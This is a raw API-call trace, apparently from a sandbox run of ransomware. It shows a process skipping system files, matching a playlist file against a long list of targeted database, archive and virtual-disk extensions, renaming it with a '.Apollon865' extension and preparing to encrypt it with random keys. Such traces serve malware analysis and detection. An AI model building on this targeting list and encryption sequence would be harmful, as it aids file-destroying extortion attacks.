	[0061.539] lstrcmpiW (lpString1="11_All_Pictures.wpl", lpString2="ids.txt") returned -1
	[0061.539] lstrcmpiW (lpString1="11_All_Pictures.wpl", lpString2="ntuser.dat") returned -1
	[0061.539] lstrcmpiW (lpString1="11_All_Pictures.wpl", lpString2="perflogs") returned -1
	[0061.539] lstrcmpiW (lpString1="11_All_Pictures.wpl", lpString2="MSBuild") returned -1
	[0061.539] lstrlenW (lpString="11_All_Pictures.wpl") returned 19
	[0061.539] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\10_All_Music.wpl") returned 100
	[0061.539] lstrcpyW (in: lpString1=0x119e6b0, lpString2="11_All_Pictures.wpl" | out: lpString1="11_All_Pictures.wpl") returned="11_All_Pictures.wpl"
	[0061.539] lstrlenW (lpString="11_All_Pictures.wpl") returned 19
	[0061.539] lstrlenW (lpString="Apollon865") returned 10
	[0061.539] lstrcmpiW (lpString1="ctures.wpl", lpString2="Apollon865") returned 1
	[0061.539] lstrlenW (lpString=".dll") returned 4
	[0061.539] lstrcmpiW (lpString1="11_All_Pictures.wpl", lpString2=".dll") returned 1
	[0061.539] lstrlenW (lpString=".lnk") returned 4
	[0061.539] lstrcmpiW (lpString1="11_All_Pictures.wpl", lpString2=".lnk") returned 1
	[0061.539] lstrlenW (lpString=".ini") returned 4
	[0061.539] lstrcmpiW (lpString1="11_All_Pictures.wpl", lpString2=".ini") returned 1
	[0061.539] lstrlenW (lpString=".sys") returned 4
	[0061.539] lstrcmpiW (lpString1="11_All_Pictures.wpl", lpString2=".sys") returned 1
	[0061.539] lstrlenW (lpString="11_All_Pictures.wpl") returned 19
	[0061.539] lstrlenW (lpString="bak") returned 3
	[0061.539] lstrcmpiW (lpString1="wpl", lpString2="bak") returned 1
	[0061.539] lstrlenW (lpString="ba_") returned 3
	[0061.539] lstrcmpiW (lpString1="wpl", lpString2="ba_") returned 1
	[0061.539] lstrlenW (lpString="dbb") returned 3
	[0061.539] lstrcmpiW (lpString1="wpl", lpString2="dbb") returned 1
	[0061.539] lstrlenW (lpString="vmdk") returned 4
	[0061.539] lstrcmpiW (lpString1=".wpl", lpString2="vmdk") returned -1
	[0061.539] lstrlenW (lpString="rar") returned 3
	[0061.540] lstrcmpiW (lpString1="wpl", lpString2="rar") returned 1
	[0061.540] lstrlenW (lpString="zip") returned 3
	[0061.540] lstrcmpiW (lpString1="wpl", lpString2="zip") returned -1
	[0061.540] lstrlenW (lpString="tgz") returned 3
	[0061.540] lstrcmpiW (lpString1="wpl", lpString2="tgz") returned 1
	[0061.540] lstrlenW (lpString="vbox") returned 4
	[0061.540] lstrcmpiW (lpString1=".wpl", lpString2="vbox") returned -1
	[0061.540] lstrlenW (lpString="vdi") returned 3
	[0061.540] lstrcmpiW (lpString1="wpl", lpString2="vdi") returned 1
	[0061.540] lstrlenW (lpString="vhd") returned 3
	[0061.540] lstrcmpiW (lpString1="wpl", lpString2="vhd") returned 1
	[0061.540] lstrlenW (lpString="vhdx") returned 4
	[0061.540] lstrcmpiW (lpString1=".wpl", lpString2="vhdx") returned -1
	[0061.540] lstrlenW (lpString="avhd") returned 4
	[0061.540] lstrcmpiW (lpString1=".wpl", lpString2="avhd") returned -1
	[0061.540] lstrlenW (lpString="db") returned 2
	[0061.540] lstrcmpiW (lpString1="pl", lpString2="db") returned 1
	[0061.540] lstrlenW (lpString="db2") returned 3
	[0061.540] lstrcmpiW (lpString1="wpl", lpString2="db2") returned 1
	[0061.540] lstrlenW (lpString="db3") returned 3
	[0061.540] lstrcmpiW (lpString1="wpl", lpString2="db3") returned 1
	[0061.540] lstrlenW (lpString="dbf") returned 3
	[0061.540] lstrcmpiW (lpString1="wpl", lpString2="dbf") returned 1
	[0061.540] lstrlenW (lpString="mdf") returned 3
	[0061.540] lstrcmpiW (lpString1="wpl", lpString2="mdf") returned 1
	[0061.540] lstrlenW (lpString="mdb") returned 3
	[0061.540] lstrcmpiW (lpString1="wpl", lpString2="mdb") returned 1
	[0061.540] lstrlenW (lpString="sql") returned 3
	[0061.540] lstrcmpiW (lpString1="wpl", lpString2="sql") returned 1
	[0061.540] lstrlenW (lpString="sqlite") returned 6
	[0061.540] lstrcmpiW (lpString1="es.wpl", lpString2="sqlite") returned -1
	[0061.540] lstrlenW (lpString="sqlite3") returned 7
	[0061.540] lstrcmpiW (lpString1="res.wpl", lpString2="sqlite3") returned -1
	[0061.540] lstrlenW (lpString="sqlitedb") returned 8
	[0061.541] lstrcmpiW (lpString1="ures.wpl", lpString2="sqlitedb") returned 1
	[0061.541] lstrlenW (lpString="xml") returned 3
	[0061.541] lstrcmpiW (lpString1="wpl", lpString2="xml") returned -1
	[0061.541] lstrlenW (lpString="$er") returned 3
	[0061.541] lstrcmpiW (lpString1="wpl", lpString2="$er") returned 1
	[0061.541] lstrlenW (lpString="4dd") returned 3
	[0061.541] lstrcmpiW (lpString1="wpl", lpString2="4dd") returned 1
	[0061.541] lstrlenW (lpString="4dl") returned 3
	[0061.541] lstrcmpiW (lpString1="wpl", lpString2="4dl") returned 1
	[0061.541] lstrlenW (lpString="^^^") returned 3
	[0061.541] lstrcmpiW (lpString1="wpl", lpString2="^^^") returned 1
	[0061.541] lstrlenW (lpString="abs") returned 3
	[0061.541] lstrcmpiW (lpString1="wpl", lpString2="abs") returned 1
	[0061.541] lstrlenW (lpString="abx") returned 3
	[0061.541] lstrcmpiW (lpString1="wpl", lpString2="abx") returned 1
	[0061.541] lstrlenW (lpString="accdb") returned 5
	[0061.541] lstrcmpiW (lpString1="s.wpl", lpString2="accdb") returned 1
	[0061.541] lstrlenW (lpString="accdc") returned 5
	[0061.541] lstrcmpiW (lpString1="s.wpl", lpString2="accdc") returned 1
	[0061.541] lstrlenW (lpString="accde") returned 5
	[0061.541] lstrcmpiW (lpString1="s.wpl", lpString2="accde") returned 1
	[0061.541] lstrlenW (lpString="accdr") returned 5
	[0061.541] lstrcmpiW (lpString1="s.wpl", lpString2="accdr") returned 1
	[0061.541] lstrlenW (lpString="accdt") returned 5
	[0061.541] lstrcmpiW (lpString1="s.wpl", lpString2="accdt") returned 1
	[0061.541] lstrlenW (lpString="accdw") returned 5
	[0061.541] lstrcmpiW (lpString1="s.wpl", lpString2="accdw") returned 1
	[0061.541] lstrlenW (lpString="accft") returned 5
	[0061.541] lstrcmpiW (lpString1="s.wpl", lpString2="accft") returned 1
	[0061.541] lstrlenW (lpString="adb") returned 3
	[0061.541] lstrcmpiW (lpString1="wpl", lpString2="adb") returned 1
	[0061.541] lstrlenW (lpString="adb") returned 3
	[0061.541] lstrcmpiW (lpString1="wpl", lpString2="adb") returned 1
	[0061.541] lstrlenW (lpString="ade") returned 3
	[0061.541] lstrcmpiW (lpString1="wpl", lpString2="ade") returned 1
	[0061.542] lstrlenW (lpString="adf") returned 3
	[0061.542] lstrcmpiW (lpString1="wpl", lpString2="adf") returned 1
	[0061.542] lstrlenW (lpString="adn") returned 3
	[0061.542] lstrcmpiW (lpString1="wpl", lpString2="adn") returned 1
	[0061.542] lstrlenW (lpString="adp") returned 3
	[0061.542] lstrcmpiW (lpString1="wpl", lpString2="adp") returned 1
	[0061.542] lstrlenW (lpString="alf") returned 3
	[0061.542] lstrcmpiW (lpString1="wpl", lpString2="alf") returned 1
	[0061.542] lstrlenW (lpString="ask") returned 3
	[0061.542] lstrcmpiW (lpString1="wpl", lpString2="ask") returned 1
	[0061.542] lstrlenW (lpString="btr") returned 3
	[0061.542] lstrcmpiW (lpString1="wpl", lpString2="btr") returned 1
	[0061.542] lstrlenW (lpString="cat") returned 3
	[0061.542] lstrcmpiW (lpString1="wpl", lpString2="cat") returned 1
	[0061.542] lstrlenW (lpString="cdb") returned 3
	[0061.542] lstrcmpiW (lpString1="wpl", lpString2="cdb") returned 1
	[0061.542] lstrlenW (lpString="ckp") returned 3
	[0061.542] lstrcmpiW (lpString1="wpl", lpString2="ckp") returned 1
	[0061.542] lstrlenW (lpString="cma") returned 3
	[0061.542] lstrcmpiW (lpString1="wpl", lpString2="cma") returned 1
	[0061.542] lstrlenW (lpString="cpd") returned 3
	[0061.542] lstrcmpiW (lpString1="wpl", lpString2="cpd") returned 1
	[0061.542] lstrlenW (lpString="dacpac") returned 6
	[0061.542] lstrcmpiW (lpString1="es.wpl", lpString2="dacpac") returned 1
	[0061.542] lstrlenW (lpString="dad") returned 3
	[0061.542] lstrcmpiW (lpString1="wpl", lpString2="dad") returned 1
	[0061.542] lstrlenW (lpString="dadiagrams") returned 10
	[0061.542] lstrcmpiW (lpString1="ctures.wpl", lpString2="dadiagrams") returned -1
	[0061.542] lstrlenW (lpString="daschema") returned 8
	[0061.542] lstrcmpiW (lpString1="ures.wpl", lpString2="daschema") returned 1
	[0061.542] lstrlenW (lpString="db-journal") returned 10
	[0061.542] lstrcmpiW (lpString1="ctures.wpl", lpString2="db-journal") returned -1
	[0061.542] lstrlenW (lpString="db-shm") returned 6
	[0061.543] lstrcmpiW (lpString1="es.wpl", lpString2="db-shm") returned 1
	[0061.543] lstrlenW (lpString="db-wal") returned 6
	[0061.543] lstrcmpiW (lpString1="es.wpl", lpString2="db-wal") returned 1
	[0061.543] lstrlenW (lpString="dbc") returned 3
	[0061.543] lstrcmpiW (lpString1="wpl", lpString2="dbc") returned 1
	[0061.543] lstrlenW (lpString="dbs") returned 3
	[0061.543] lstrcmpiW (lpString1="wpl", lpString2="dbs") returned 1
	[0061.543] lstrlenW (lpString="dbt") returned 3
	[0061.543] lstrcmpiW (lpString1="wpl", lpString2="dbt") returned 1
	[0061.543] lstrlenW (lpString="dbv") returned 3
	[0061.543] lstrcmpiW (lpString1="wpl", lpString2="dbv") returned 1
	[0061.543] lstrlenW (lpString="dbx") returned 3
	[0061.543] lstrcmpiW (lpString1="wpl", lpString2="dbx") returned 1
	[0061.543] lstrlenW (lpString="dcb") returned 3
	[0061.543] lstrcmpiW (lpString1="wpl", lpString2="dcb") returned 1
	[0061.543] lstrlenW (lpString="dct") returned 3
	[0061.543] lstrcmpiW (lpString1="wpl", lpString2="dct") returned 1
	[0061.543] lstrlenW (lpString="dcx") returned 3
	[0061.543] lstrcmpiW (lpString1="wpl", lpString2="dcx") returned 1
	[0061.543] lstrlenW (lpString="ddl") returned 3
	[0061.543] lstrcmpiW (lpString1="wpl", lpString2="ddl") returned 1
	[0061.543] lstrlenW (lpString="dlis") returned 4
	[0061.543] lstrcmpiW (lpString1=".wpl", lpString2="dlis") returned -1
	[0061.543] lstrlenW (lpString="dp1") returned 3
	[0061.543] lstrcmpiW (lpString1="wpl", lpString2="dp1") returned 1
	[0061.543] lstrlenW (lpString="dqy") returned 3
	[0061.543] lstrcmpiW (lpString1="wpl", lpString2="dqy") returned 1
	[0061.543] lstrlenW (lpString="dsk") returned 3
	[0061.543] lstrcmpiW (lpString1="wpl", lpString2="dsk") returned 1
	[0061.544] lstrlenW (lpString="dsn") returned 3
	[0061.544] lstrcmpiW (lpString1="wpl", lpString2="dsn") returned 1
	[0061.544] lstrlenW (lpString="dtsx") returned 4
	[0061.544] lstrcmpiW (lpString1=".wpl", lpString2="dtsx") returned -1
	[0061.544] lstrlenW (lpString="dxl") returned 3
	[0061.544] lstrcmpiW (lpString1="wpl", lpString2="dxl") returned 1
	[0061.544] lstrlenW (lpString="eco") returned 3
	[0061.544] lstrcmpiW (lpString1="wpl", lpString2="eco") returned 1
	[0061.544] lstrlenW (lpString="ecx") returned 3
	[0061.544] lstrcmpiW (lpString1="wpl", lpString2="ecx") returned 1
	[0061.544] lstrlenW (lpString="edb") returned 3
	[0061.544] lstrcmpiW (lpString1="wpl", lpString2="edb") returned 1
	[0061.544] lstrlenW (lpString="epim") returned 4
	[0061.544] lstrcmpiW (lpString1=".wpl", lpString2="epim") returned -1
	[0061.544] lstrlenW (lpString="fcd") returned 3
	[0061.544] lstrcmpiW (lpString1="wpl", lpString2="fcd") returned 1
	[0061.544] lstrlenW (lpString="fdb") returned 3
	[0061.544] lstrcmpiW (lpString1="wpl", lpString2="fdb") returned 1
	[0061.544] lstrlenW (lpString="fic") returned 3
	[0061.544] lstrcmpiW (lpString1="wpl", lpString2="fic") returned 1
	[0061.544] lstrlenW (lpString="flexolibrary") returned 12
	[0061.544] lstrcmpiW (lpString1="Pictures.wpl", lpString2="flexolibrary") returned 1
	[0061.544] lstrlenW (lpString="fm5") returned 3
	[0061.544] lstrcmpiW (lpString1="wpl", lpString2="fm5") returned 1
	[0061.544] lstrlenW (lpString="fmp") returned 3
	[0061.544] lstrcmpiW (lpString1="wpl", lpString2="fmp") returned 1
	[0061.544] lstrlenW (lpString="fmp12") returned 5
	[0061.544] lstrcmpiW (lpString1="s.wpl", lpString2="fmp12") returned 1
	[0061.544] lstrlenW (lpString="fmpsl") returned 5
	[0061.544] lstrcmpiW (lpString1="s.wpl", lpString2="fmpsl") returned 1
	[0061.544] lstrlenW (lpString="fol") returned 3
	[0061.544] lstrcmpiW (lpString1="wpl", lpString2="fol") returned 1
	[0061.544] lstrlenW (lpString="fp3") returned 3
	[0061.544] lstrcmpiW (lpString1="wpl", lpString2="fp3") returned 1
	[0061.544] lstrlenW (lpString="fp4") returned 3
	[0061.545] lstrcmpiW (lpString1="wpl", lpString2="fp4") returned 1
	[0061.545] lstrlenW (lpString="fp5") returned 3
	[0061.545] lstrcmpiW (lpString1="wpl", lpString2="fp5") returned 1
	[0061.545] lstrlenW (lpString="fp7") returned 3
	[0061.545] lstrcmpiW (lpString1="wpl", lpString2="fp7") returned 1
	[0061.545] lstrlenW (lpString="fpt") returned 3
	[0061.545] lstrcmpiW (lpString1="wpl", lpString2="fpt") returned 1
	[0061.545] lstrlenW (lpString="frm") returned 3
	[0061.545] lstrcmpiW (lpString1="wpl", lpString2="frm") returned 1
	[0061.545] lstrlenW (lpString="gdb") returned 3
	[0061.545] lstrcmpiW (lpString1="wpl", lpString2="gdb") returned 1
	[0061.545] lstrlenW (lpString="gdb") returned 3
	[0061.545] lstrcmpiW (lpString1="wpl", lpString2="gdb") returned 1
	[0061.545] lstrlenW (lpString="grdb") returned 4
	[0061.545] lstrcmpiW (lpString1=".wpl", lpString2="grdb") returned -1
	[0061.545] lstrlenW (lpString="gwi") returned 3
	[0061.545] lstrcmpiW (lpString1="wpl", lpString2="gwi") returned 1
	[0061.545] lstrlenW (lpString="hdb") returned 3
	[0061.545] lstrcmpiW (lpString1="wpl", lpString2="hdb") returned 1
	[0061.545] lstrlenW (lpString="his") returned 3
	[0061.545] lstrcmpiW (lpString1="wpl", lpString2="his") returned 1
	[0061.545] lstrlenW (lpString="ib") returned 2
	[0061.545] lstrcmpiW (lpString1="pl", lpString2="ib") returned 1
	[0061.545] lstrlenW (lpString="idb") returned 3
	[0061.545] lstrcmpiW (lpString1="wpl", lpString2="idb") returned 1
	[0061.545] lstrlenW (lpString="ihx") returned 3
	[0061.545] lstrcmpiW (lpString1="wpl", lpString2="ihx") returned 1
	[0061.545] lstrlenW (lpString="itdb") returned 4
	[0061.545] lstrcmpiW (lpString1=".wpl", lpString2="itdb") returned -1
	[0061.545] lstrlenW (lpString="itw") returned 3
	[0061.545] lstrcmpiW (lpString1="wpl", lpString2="itw") returned 1
	[0061.545] lstrlenW (lpString="jet") returned 3
	[0061.545] lstrcmpiW (lpString1="wpl", lpString2="jet") returned 1
	[0061.545] lstrlenW (lpString="jtx") returned 3
	[0061.546] lstrcmpiW (lpString1="wpl", lpString2="jtx") returned 1
	[0061.546] lstrlenW (lpString="kdb") returned 3
	[0061.546] lstrcmpiW (lpString1="wpl", lpString2="kdb") returned 1
	[0061.546] lstrlenW (lpString="kexi") returned 4
	[0061.546] lstrcmpiW (lpString1=".wpl", lpString2="kexi") returned -1
	[0061.546] lstrlenW (lpString="kexic") returned 5
	[0061.546] lstrcmpiW (lpString1="s.wpl", lpString2="kexic") returned 1
	[0061.546] lstrlenW (lpString="kexis") returned 5
	[0061.546] lstrcmpiW (lpString1="s.wpl", lpString2="kexis") returned 1
	[0061.546] lstrlenW (lpString="lgc") returned 3
	[0061.546] lstrcmpiW (lpString1="wpl", lpString2="lgc") returned 1
	[0061.546] lstrlenW (lpString="lwx") returned 3
	[0061.546] lstrcmpiW (lpString1="wpl", lpString2="lwx") returned 1
	[0061.546] lstrlenW (lpString="maf") returned 3
	[0061.546] lstrcmpiW (lpString1="wpl", lpString2="maf") returned 1
	[0061.546] lstrlenW (lpString="maq") returned 3
	[0061.546] lstrcmpiW (lpString1="wpl", lpString2="maq") returned 1
	[0061.546] lstrlenW (lpString="mar") returned 3
	[0061.546] lstrcmpiW (lpString1="wpl", lpString2="mar") returned 1
	[0061.546] lstrlenW (lpString="marshal") returned 7
	[0061.546] lstrcmpiW (lpString1="res.wpl", lpString2="marshal") returned 1
	[0061.546] lstrlenW (lpString="mas") returned 3
	[0061.546] lstrcmpiW (lpString1="wpl", lpString2="mas") returned 1
	[0061.546] lstrlenW (lpString="mav") returned 3
	[0061.546] lstrcmpiW (lpString1="wpl", lpString2="mav") returned 1
	[0061.546] lstrlenW (lpString="maw") returned 3
	[0061.546] lstrcmpiW (lpString1="wpl", lpString2="maw") returned 1
	[0061.546] lstrlenW (lpString="mdbhtml") returned 7
	[0061.546] lstrcmpiW (lpString1="res.wpl", lpString2="mdbhtml") returned 1
	[0061.546] lstrlenW (lpString="mdn") returned 3
	[0061.546] lstrcmpiW (lpString1="wpl", lpString2="mdn") returned 1
	[0061.546] lstrlenW (lpString="mdt") returned 3
	[0061.546] lstrcmpiW (lpString1="wpl", lpString2="mdt") returned 1
	[0061.547] lstrlenW (lpString="mfd") returned 3
	[0061.547] lstrcmpiW (lpString1="wpl", lpString2="mfd") returned 1
	[0061.547] lstrlenW (lpString="mpd") returned 3
	[0061.547] lstrcmpiW (lpString1="wpl", lpString2="mpd") returned 1
	[0061.547] lstrlenW (lpString="mrg") returned 3
	[0061.547] lstrcmpiW (lpString1="wpl", lpString2="mrg") returned 1
	[0061.547] lstrlenW (lpString="mud") returned 3
	[0061.547] lstrcmpiW (lpString1="wpl", lpString2="mud") returned 1
	[0061.547] lstrlenW (lpString="mwb") returned 3
	[0061.547] lstrcmpiW (lpString1="wpl", lpString2="mwb") returned 1
	[0061.547] lstrlenW (lpString="myd") returned 3
	[0061.547] lstrcmpiW (lpString1="wpl", lpString2="myd") returned 1
	[0061.547] lstrlenW (lpString="ndf") returned 3
	[0061.547] lstrcmpiW (lpString1="wpl", lpString2="ndf") returned 1
	[0061.547] lstrlenW (lpString="nnt") returned 3
	[0061.547] lstrcmpiW (lpString1="wpl", lpString2="nnt") returned 1
	[0061.547] lstrlenW (lpString="nrmlib") returned 6
	[0061.547] lstrcmpiW (lpString1="es.wpl", lpString2="nrmlib") returned -1
	[0061.547] lstrlenW (lpString="ns2") returned 3
	[0061.547] lstrcmpiW (lpString1="wpl", lpString2="ns2") returned 1
	[0061.547] lstrlenW (lpString="ns3") returned 3
	[0061.547] lstrcmpiW (lpString1="wpl", lpString2="ns3") returned 1
	[0061.547] lstrlenW (lpString="ns4") returned 3
	[0061.547] lstrcmpiW (lpString1="wpl", lpString2="ns4") returned 1
	[0061.547] lstrlenW (lpString="nsf") returned 3
	[0061.547] lstrcmpiW (lpString1="wpl", lpString2="nsf") returned 1
	[0061.547] lstrlenW (lpString="nv") returned 2
	[0061.547] lstrcmpiW (lpString1="pl", lpString2="nv") returned 1
	[0061.547] lstrlenW (lpString="nv2") returned 3
	[0061.547] lstrcmpiW (lpString1="wpl", lpString2="nv2") returned 1
	[0061.547] lstrlenW (lpString="nwdb") returned 4
	[0061.547] lstrcmpiW (lpString1=".wpl", lpString2="nwdb") returned -1
	[0061.547] lstrlenW (lpString="nyf") returned 3
	[0061.547] lstrcmpiW (lpString1="wpl", lpString2="nyf") returned 1
	[0061.547] lstrlenW (lpString="odb") returned 3
	[0061.548] lstrcmpiW (lpString1="wpl", lpString2="odb") returned 1
	[0061.548] lstrlenW (lpString="odb") returned 3
	[0061.548] lstrcmpiW (lpString1="wpl", lpString2="odb") returned 1
	[0061.548] lstrlenW (lpString="oqy") returned 3
	[0061.548] lstrcmpiW (lpString1="wpl", lpString2="oqy") returned 1
	[0061.548] lstrlenW (lpString="ora") returned 3
	[0061.548] lstrcmpiW (lpString1="wpl", lpString2="ora") returned 1
	[0061.548] lstrlenW (lpString="orx") returned 3
	[0061.548] lstrcmpiW (lpString1="wpl", lpString2="orx") returned 1
	[0061.548] lstrlenW (lpString="owc") returned 3
	[0061.548] lstrcmpiW (lpString1="wpl", lpString2="owc") returned 1
	[0061.548] lstrlenW (lpString="p96") returned 3
	[0061.548] lstrcmpiW (lpString1="wpl", lpString2="p96") returned 1
	[0061.548] lstrlenW (lpString="p97") returned 3
	[0061.548] lstrcmpiW (lpString1="wpl", lpString2="p97") returned 1
	[0061.548] lstrlenW (lpString="pan") returned 3
	[0061.548] lstrcmpiW (lpString1="wpl", lpString2="pan") returned 1
	[0061.548] lstrlenW (lpString="pdb") returned 3
	[0061.548] lstrcmpiW (lpString1="wpl", lpString2="pdb") returned 1
	[0061.548] lstrlenW (lpString="pdm") returned 3
	[0061.548] lstrcmpiW (lpString1="wpl", lpString2="pdm") returned 1
	[0061.548] lstrlenW (lpString="pnz") returned 3
	[0061.548] lstrcmpiW (lpString1="wpl", lpString2="pnz") returned 1
	[0061.548] lstrlenW (lpString="qry") returned 3
	[0061.548] lstrcmpiW (lpString1="wpl", lpString2="qry") returned 1
	[0061.548] lstrlenW (lpString="qvd") returned 3
	[0061.548] lstrcmpiW (lpString1="wpl", lpString2="qvd") returned 1
	[0061.548] lstrlenW (lpString="rbf") returned 3
	[0061.548] lstrcmpiW (lpString1="wpl", lpString2="rbf") returned 1
	[0061.548] lstrlenW (lpString="rctd") returned 4
	[0061.548] lstrcmpiW (lpString1=".wpl", lpString2="rctd") returned -1
	[0061.548] lstrlenW (lpString="rod") returned 3
	[0061.548] lstrcmpiW (lpString1="wpl", lpString2="rod") returned 1
	[0061.548] lstrlenW (lpString="rodx") returned 4
	[0061.549] lstrcmpiW (lpString1=".wpl", lpString2="rodx") returned -1
	[0061.549] lstrlenW (lpString="rpd") returned 3
	[0061.549] lstrcmpiW (lpString1="wpl", lpString2="rpd") returned 1
	[0061.549] lstrlenW (lpString="rsd") returned 3
	[0061.549] lstrcmpiW (lpString1="wpl", lpString2="rsd") returned 1
	[0061.549] lstrlenW (lpString="sas7bdat") returned 8
	[0061.549] lstrcmpiW (lpString1="ures.wpl", lpString2="sas7bdat") returned 1
	[0061.549] lstrlenW (lpString="sbf") returned 3
	[0061.549] lstrcmpiW (lpString1="wpl", lpString2="sbf") returned 1
	[0061.549] lstrlenW (lpString="scx") returned 3
	[0061.549] lstrcmpiW (lpString1="wpl", lpString2="scx") returned 1
	[0061.549] lstrlenW (lpString="sdb") returned 3
	[0061.549] lstrcmpiW (lpString1="wpl", lpString2="sdb") returned 1
	[0061.549] lstrlenW (lpString="sdc") returned 3
	[0061.549] lstrcmpiW (lpString1="wpl", lpString2="sdc") returned 1
	[0061.549] lstrlenW (lpString="sdf") returned 3
	[0061.549] lstrcmpiW (lpString1="wpl", lpString2="sdf") returned 1
	[0061.549] lstrlenW (lpString="sis") returned 3
	[0061.549] lstrcmpiW (lpString1="wpl", lpString2="sis") returned 1
	[0061.549] lstrlenW (lpString="spq") returned 3
	[0061.549] lstrcmpiW (lpString1="wpl", lpString2="spq") returned 1
	[0061.549] lstrlenW (lpString="te") returned 2
	[0061.549] lstrcmpiW (lpString1="pl", lpString2="te") returned -1
	[0061.549] lstrlenW (lpString="teacher") returned 7
	[0061.549] lstrcmpiW (lpString1="res.wpl", lpString2="teacher") returned -1
	[0061.549] lstrlenW (lpString="tmd") returned 3
	[0061.549] lstrcmpiW (lpString1="wpl", lpString2="tmd") returned 1
	[0061.549] lstrlenW (lpString="tps") returned 3
	[0061.549] lstrcmpiW (lpString1="wpl", lpString2="tps") returned 1
	[0061.549] lstrlenW (lpString="trc") returned 3
	[0061.549] lstrcmpiW (lpString1="wpl", lpString2="trc") returned 1
	[0061.549] lstrlenW (lpString="trc") returned 3
	[0061.549] lstrcmpiW (lpString1="wpl", lpString2="trc") returned 1
	[0061.549] lstrlenW (lpString="trm") returned 3
	[0061.550] lstrcmpiW (lpString1="wpl", lpString2="trm") returned 1
	[0061.550] lstrlenW (lpString="udb") returned 3
	[0061.550] lstrcmpiW (lpString1="wpl", lpString2="udb") returned 1
	[0061.550] lstrlenW (lpString="udl") returned 3
	[0061.550] lstrcmpiW (lpString1="wpl", lpString2="udl") returned 1
	[0061.550] lstrlenW (lpString="usr") returned 3
	[0061.550] lstrcmpiW (lpString1="wpl", lpString2="usr") returned 1
	[0061.550] lstrlenW (lpString="v12") returned 3
	[0061.550] lstrcmpiW (lpString1="wpl", lpString2="v12") returned 1
	[0061.550] lstrlenW (lpString="vis") returned 3
	[0061.550] lstrcmpiW (lpString1="wpl", lpString2="vis") returned 1
	[0061.550] lstrlenW (lpString="vpd") returned 3
	[0061.550] lstrcmpiW (lpString1="wpl", lpString2="vpd") returned 1
	[0061.550] lstrlenW (lpString="vvv") returned 3
	[0061.550] lstrcmpiW (lpString1="wpl", lpString2="vvv") returned 1
	[0061.550] lstrlenW (lpString="wdb") returned 3
	[0061.550] lstrcmpiW (lpString1="wpl", lpString2="wdb") returned 1
	[0061.550] lstrlenW (lpString="wmdb") returned 4
	[0061.550] lstrcmpiW (lpString1=".wpl", lpString2="wmdb") returned -1
	[0061.550] lstrlenW (lpString="wrk") returned 3
	[0061.550] lstrcmpiW (lpString1="wpl", lpString2="wrk") returned -1
	[0061.550] lstrlenW (lpString="xdb") returned 3
	[0061.550] lstrcmpiW (lpString1="wpl", lpString2="xdb") returned -1
	[0061.550] lstrlenW (lpString="xld") returned 3
	[0061.550] lstrcmpiW (lpString1="wpl", lpString2="xld") returned -1
	[0061.550] lstrlenW (lpString="xmlff") returned 5
	[0061.550] lstrcmpiW (lpString1="s.wpl", lpString2="xmlff") returned -1
	[0061.550] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\11_All_Pictures.wpl.Apollon865") returned 114
	[0061.550] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\11_All_Pictures.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\11_all_pictures.wpl"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\11_All_Pictures.wpl.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\11_all_pictures.wpl.apollon865"), dwFlags=0x1) returned 1
	[0061.551] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\11_All_Pictures.wpl.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\11_all_pictures.wpl.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x14c
	[0061.551] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=585) returned 1
	[0061.551] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0061.552] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0061.552] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf788
	[0061.552] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf898) returned 1
	[0061.552] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0061.552] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0061.553] CreateFileMappingW (hFile=0x14c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x550, lpName=0x0) returned 0xc0
	[0061.689] MapViewOfFile (hFileMappingObject=0xc0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x550) returned 0x100000
	[0061.731] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf898) returned 1
	[0061.733] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0061.733] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0061.733] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0061.733] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0061.733] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0061.733] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0061.733] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
